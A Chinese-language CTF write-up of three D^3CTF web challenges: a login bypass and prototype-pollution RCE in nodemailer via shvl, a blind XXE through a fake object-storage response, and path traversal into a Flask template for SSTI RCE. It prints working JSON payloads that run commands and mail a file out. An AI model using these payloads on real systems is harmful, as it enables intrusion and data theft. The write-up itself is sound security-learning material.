周末两天几乎都在肝D^3CTF,本来队里打的人就不多,题质量还很高而且题量也不少,所以打的非常累。 Web 基本一人单搞,后来把队里逆向(全栈)大佬拉来一起搞 shellgen,浪费了不少时间。
最后成绩是第四名(果然是 Redbud-Misc 队,AK Misc),脑王yyds,这里记录下三道Web的wp。
8-bit pub
分析
先要登陆admin。
传入的username和password如果用json提交,可以传入dict。如果password是个dict,会把key名字作为列查询,构造Payload:
1 | {"username":"admin","password":{"username":"admin"}} |
即可登陆admin。
进入admin,可以发邮件的功能,使用了 nodemailer。前面使用了shvl 来进行赋值,猜测有原型链污染。查看版本,发现 shvl 是 2.0.2 的版本,原型链污染被修复:
但是仅仅过滤了关键字__proto__,可以使用 prototype 绕过。
原始的利用:
可以使用prototype绕过,payload:
1 | a.constructor.prototype.path |
接下来需要在 nodemailer 里找rce的点,搜关键字发现了存在一个命令执行的点:
存在调用:
原本是执行sendmail的,可以考虑污染 this.path,就可以rce了。追踪源码,寻找 this.path 的赋值:
Options.path 赋值,那么我们直接向 Object 里污染一个path,就可以了。
但是要使用 sendmail,在nodemailer/lib/nodemailer.js还有一处if判断:
所以还要污染一个pool为0,污染一个sendmail为1。
最后 spawn 执行命令,不支持管道符之类的,所以 /readflag > /tmp/gml 这种无法直接执行。
注意到有args,可以为命令附带参数。看看这个args怎么赋值的:
也可以进行污染,但是在执行前,加了个 -i 参数:
尝试 curl -i,wget -i 之类的,但是无法把命令执行的结果带出。
最后测试可以 bash -i -c 这样:
spawn('bash',['-i','-c','ls > /tmp/gml']);
本地测试成功执行。然后发邮件功能我们可以指定附件,把 /tmp/gml 通过邮件给发过来。
攻击
首先原型链污染,执行命令,payload:
1 | {"subject":"123","text":"123","a.constructor.prototype.path":"sh","a.constructor.prototype.pool":0,"a.constructor.prototype.sendmail":1,"a.constructor.prototype.args":["-c","/readflag>/tmp/gml"]} |
把flag写进/tmp/flag。再通过发邮件附件的形式,把flag给我发过来。翻阅文档发送附件的方法,payload:
1 | {"to":"xxx@qq.com","subject":"123","text":"123","attachments":[{"filename":"gml.txt","path":"/tmp/gml"}]} |
Real_cloud_storage
上传文件,往fn10085032.serverless.cloud.d3ctf.io发包,可以指定endpoint 与backet。
测试发现可以指定成任意域。设置指定成自己的服务器,观察发来的上传包:
Google 一下 nos-sdk-java,发现源码:https://github.com/NetEase-Object-Storage/nos-java-sdk
源码审计,因为我们只有一个upload功能,只有那几个参数,所以关注upload功能的相关源码,但没啥利用的。
尝试模仿这个包,我们自己构造向 oss 上传文件的包:
返回错误。但是可以看到返回是 xml。上传的 client 是 java,猜测这个 client 会在向 oss 上传后解析返回的 xml 。
翻阅源码,果然有相关的操作。考虑 xxe 攻击,我们控制返回的response包含 xxe 的payload,使用盲打xxe。
使用 https://requestrepo.com/,方便控制response,response的 paylaod:
1 |
服务器上的 ext.dtd:
1 |
Shellgen
跟 misc 那道题逻辑基本差不多,就是需要 rce。
源代码里发现部分伪代码,可以看到python和php的执行都是在docker container里完成的。其中python 使用了 Mount 来挂载目录:
运行入容器指定了 read_only。
本来以为挂载目录只读,就没想用这个python写文件的思路,但是后来本地测试一下发现竟然可以写,并且可以写入外部host中,耽误了很久。赛后问了出题人,这个只是root filesystem只读,并不是所有mount都只读。
/result 处使用了 render_template,那么如果渲染的result.html文件可控,那么就可以换成正常ssti的payload,就可以rce。
因为创建目录是 token 直接 os.path.join 拼接,所以可以使用 ../穿越。需要注意 render_template 传入的模版路径如果包含 ..
就会报错。
整个攻击的逻辑有点绕:
(1)首先我们 token 传入一个随机的token: gml/def,code写什么都行,submit。这样服务器会创建 workdir/gml/def/gen.py以及templates/gml/def/result.html,记得保留下这个session的cookie。
(2)第二步,我们submit的token是../templates/gml,这样服务器会创建 workdir/../templates/gml/gen.py,以及workdir/../templates/gml/result.html(即 templates/gml/result.html)。注意这时mount的目录是 workdir/../templates/gml,即templates/gml -> /opt,那么code的内容写成向 /opt/def/result.html 写入数据,这样我们实际是向服务器的 templates/gml/def/result.html 写入了数据。
(3)最后带着第一步保留的token为gml/def 的cookie 去访问 /result,触发render_template,执行命令。
这里涉及一些detail:
(1)在第一步时,注意submit后不要带着token是gml/def的session去访问 /result 去check结果,因为 render_template 有缓存,后面即使我们更改了 result.html,也不会重新渲染了。
(2)第一步submit后,需要等一下,让服务器运行完python,把result.html写入后再进行第二部,否则如果第二步写入的比第一步的早,那么result.html会被第一步写入内容覆盖。
(3)之所以第一步的token包含了一层路径,是为了防止后面干扰。假如第一步的token是gml,那么第二步里,服务器本身就会向template/gml/result.html里写,python脚本再往里写,可能会存在干扰。但如果加了一层路径,就可以避免这个问题。
在做这个题的时候,遇到了很多坑。比如刚放出这个题的时候,无论让python输出什么,都返回 detected,没有过wrong answer的回显,然后过了几个小时,就好了… 后面尝试写文件,更玄学,感觉逻辑没有问题,但是check的结果显示没写进去,去找出题人反馈,出题人进题目环境说已经写进去了… 不知道我们这里为什么访问 /result check 不到。
最后干脆写了个循环脚本,一直在尝试攻击,python 的code也写成了循环写入,终于是做到了跑几次能rce一次(反弹shell无果,curl与ping请求都非常之卡,赛后问了下是香港反代的原因)。
hint提示flag在另一个container里,也弹不了shell,题目删了 docker 命令,所以仿照题目代码,使用dockerclient 来与docker交互,发现了名为 d3ctf-shellgen-flag 的container。执行什么 bash,sh,pwd 各种命令都显示找不到文件。最后直接写脚本把这个container拖下来:
1 | import time, random, base64, requests |
拖下来本地发现有个 /getflag,执行发现需要输入token,输入token得到了 flag,但是交上去不对…
猜测是不是必须要在远程跑,但是需要输入token,需要交互,想用echo xx | /readflag
,但是发现 echo 都没有:
尝试逆向程序,发现生成flag的逻辑并没有很复杂,本地结果和远程结果应该是一样的。最后找出题人解决了flag错误的问题。